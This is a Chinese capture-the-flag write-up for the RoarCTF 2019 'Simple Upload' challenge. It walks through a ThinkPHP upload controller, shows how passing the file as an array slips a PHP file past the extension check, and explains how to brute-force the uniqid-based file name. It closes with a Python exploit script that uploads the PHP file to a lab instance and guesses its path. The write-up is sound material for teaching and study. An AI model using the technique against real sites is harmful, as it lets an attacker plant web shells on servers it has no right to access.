1. 程式人生 > 實用技巧 >[RoarCTF 2019]Simple Upload

[RoarCTF 2019]Simple Upload

知識點

thinkphp路由預設上傳路徑
thinkphp upload類錯誤使用導致getshell

審題

貼上原始碼

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 例項化上傳類
        $upload->maxSize  = 4096 ;// 設定附件上傳大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 設定附件上傳型別
        $upload->rootPath = './Public/Uploads/';// 設定附件上傳目錄
        $upload->savePath = '';// 設定附件上傳子目錄
        $info = $upload->upload() ;
        if(!$info) {// 上傳錯誤提示錯誤資訊
          $this->error($upload->getError());
          return;
        }else{// 上傳成功 獲取上傳檔案資訊
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

第一次做這種型別的題 就挺懵的 蛤 還能沒有上傳按鈕的上傳嗎 而且這寫的是個啥 後來經過dalao(手動艾特我的另一個大哥石師傅)的指點 算是理清楚了這道題的知識點 下面一個個來

THINKPHP路由

首先這道題其實是定義了一個路由(路由器) 什麼是路由 可以看一下tp的操作手冊 路由簡單來說可以起到一個重定向的作用 這樣既可以隱藏真實物理路徑 也可以減少伺服器資料夾的冗餘 有個需要知道的知識點就是 在路由裡 預設的上傳檔案路徑是/home/index/upload 但是這題有一個坑 如果我們輸url+/home/index/upload的話 會404
(nmdwsm當時搞了好久都是因為這個坑)
這裡來解釋一下 下面引用一個

dalao的部落格

而預設的上傳路徑也是相對index.php的目錄 於是我們在路徑前面加上index.php 我們就成功獲得了上傳需要的地址

UPLOAD類的錯誤使用

接下來的點是upload類的錯誤使用而導致的getshell 下面還是貼上tp的手冊 我們知道 如果upload類在不含參的時候上傳 是不會對檔案進行過濾的 也就是會把整個$_FILE陣列的檔案都上傳 但是上傳時有個問題

總共上傳了三次 第一三次上傳的是一個空的txt檔案 可以看到的地址和檔名 然而如果上傳一個不含參的檔案時 他只會給你地址不會給你檔名 雖然傳上去了但是連不上

UNIQID

UNIQID函式是根據當前計算機時間生成一個檔名的函式 這也是upload類呼叫的命名函式 也就是說 如果我們兩個上傳的檔案在時間上夠接近 那麼他們的檔名就可以用爆破的方式跑出來 如果我們上傳成功 那麼當我們訪問這個檔案的時候 就會有正常回顯 但是如果我們訪問不到 就會404 也就是說可以根據這個進行爆破 爆破可以寫python也可以直接用burpsuite

EXP

import requests
url = 'http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/index.php/Home/index/upload'
file1 = {'file':open('C:\\users\\20719\\desktop\\1.txt','r')}
file2 = {'file[]':open('C:\\users\\20719\\desktop\\php.php','r')}
file3 = {'file':open('C:\\users\\20719\\desktop\\1.txt','r')}
r=requests.post(url,files=file1)
print(r.text)
r=requests.post(url,files=file2)
print(r.text)
r=requests.post(url,files=file3)
print(r.text)
dir='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
    for j in dir:
        for x in dir:
            for y in dir:
                for z in dir:
                    url='http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/Public/Uploads/2020-12-04/5fc9da34{}{}{}{}{}.txt'.format(i,j,x,y,z)
                    r = requests.get(url)
                    print(url)
                    if r.status_code== 200:
                        print(url)
                        break

EOF